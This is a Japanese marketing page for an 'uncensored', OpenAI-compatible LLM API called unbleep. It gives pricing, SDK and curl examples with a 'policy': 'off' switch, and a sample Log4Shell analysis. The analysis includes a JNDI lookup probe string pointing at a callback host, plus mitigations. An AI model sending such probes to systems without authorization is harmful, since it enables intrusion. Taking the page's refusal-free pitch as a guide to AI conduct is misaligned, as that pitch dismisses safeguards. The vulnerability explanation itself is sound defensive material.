名前は、中身のオープンウェイトモデルではなく役割に合わせて付けています。だから重みを改善しても、あなたのコードが壊れることはありません。
デフォルトのモデル。256K トークンのウィンドウ、無検閲 — レッドチーミング、評価、研究の日常的な主力です。
フロンティア級。1M トークンのコンテキストで、コードベース全体、長いトランスクリプト、複数文書の深い分析といった最大規模のジョブに。
安くて速い選択肢。大量トラフィックやシンプルな呼び出し向けに、トークン単価を抑えています。
Log4Shell を題材にしたレッドチームセッション — 根本原因、安全なラボでの確認、そして修正。説教も拒否もなく、分析だけ。
CVE-2021-44228（Log4Shell）を分解して説明して。根本原因と、JNDI ルックアップがどうやって RCE になるのか。${…} ルックアップを評価します。${jndi:ldap://host/x} のような値がログに記録されると、JVM はその名前を LDAP/RMI 経由で解決し、リモートの Java クラスを取得してインスタンス化します — ロギングプロセスの中で任意のコードが実行されます。トリガー面は、ログ呼び出しに到達するあらゆるもの: User-Agent、ヘッダー、フォームフィールド。影響範囲: 2.0-beta9 → 2.14.1。${jndi:ldap://<token>.your-collab/x} を送ります。<token> への DNS ヒットがあれば、文字列が展開された → 脆弱です。何も配信しないので、何も実行されません。JndiLookup.class で grep し、バージョンを影響範囲と照合します。2.17.1+ にアップグレード。まだ無理なら、log4j2.formatMsgNoLookups=true を設定する（2.10+）か、クラスパスから JndiLookup.class を取り除き、${jndi: に対する WAF ルールを追加して、ホストの外向き LDAP/RMI をエグレスフィルタします。この API は OpenAI 互換のドロップイン置き換えです。ベース URL とキーを変えるだけで、既存のコード、SDK、ツールはそのまま動き続けます。
from openai import OpenAI
client = OpenAI(
base_url="https://unbleep.ai/v1", # ← the only change
api_key="ub_live_9f2c…",
)
stream = client.chat.completions.create(
model="unbleep",
messages=[{"role": "user", "content": "…"}],
stream=True,
)
for chunk in stream:
print(chunk.choices[0].delta.content or "", end="")import OpenAI from "openai";
const client = new OpenAI({
baseURL: "https://unbleep.ai/v1", // ← the only change
apiKey: "ub_live_9f2c…",
});
const stream = await client.chat.completions.create({
model: "unbleep",
messages: [{ role: "user", content: "…" }],
stream: true,
});
for await (const chunk of stream)
process.stdout.write(chunk.choices[0].delta.content ?? "");curl https://unbleep.ai/v1/chat/completions \
-H "Authorization: Bearer ub_live_9f2c…" \
-H "Content-Type: application/json" \
-d '{
"model": "unbleep",
"messages": [{"role":"user","content":"…"}],
"stream": true,
"policy": "off"
}'OpenAI の Python、Node、そして Chat Completions API を話すあらゆるツール。新しく覚えることはありません。
デルタチャンクの text/event-stream で、[DONE] で終端 — あなたのクライアントがすでにパースしているものそのままです。
プロジェクトに必要なときは、"policy": "research" を送って利用履歴上でリクエストにタグを付けるか、"strict" を送ってブロックリストを適用します。
必要なときにクレジットを購入するか、月額プランにして自動で届くようにするか。どのリクエストも、実際に消費したトークン数に対して、呼び出したモデルの公開されている 100 万トークンあたりの単価で課金されます。
unbleep 入力 $3.00 / 出力 $3.00
unbleep-high $5.00 / $5.00
unbleep-mini $1.00 / $1.00
100 万トークンあたり
必要なときにカードでクレジットを追加するか、プランで毎月届くようにします。アカウントが開いている間は失効せず、未使用のクレジットは 14 日以内なら返金可能です。
リクエスト開始時に見積額を仮押さえし、完了時に実際のトークンコストで確定します。エラーになったリクエストは解放され、課金されることはありません。
残高で賄えないリクエストは拒否されます — 与信も、事後の請求もありません。残高とトークン消費はコンソールで確認できます。
unbleep は、フィルターのないベースラインを必要とするセキュリティチーム、研究者、ビルダーのためのものです。デフォルトでゼロリテンション、ファーストクラスのポリシーダイヤル、コンソールでのリクエスト単位の利用量とコストの履歴、そして本物の利用ポリシー。無検閲は能力です — それをどう統制するかは、あなたが決めます。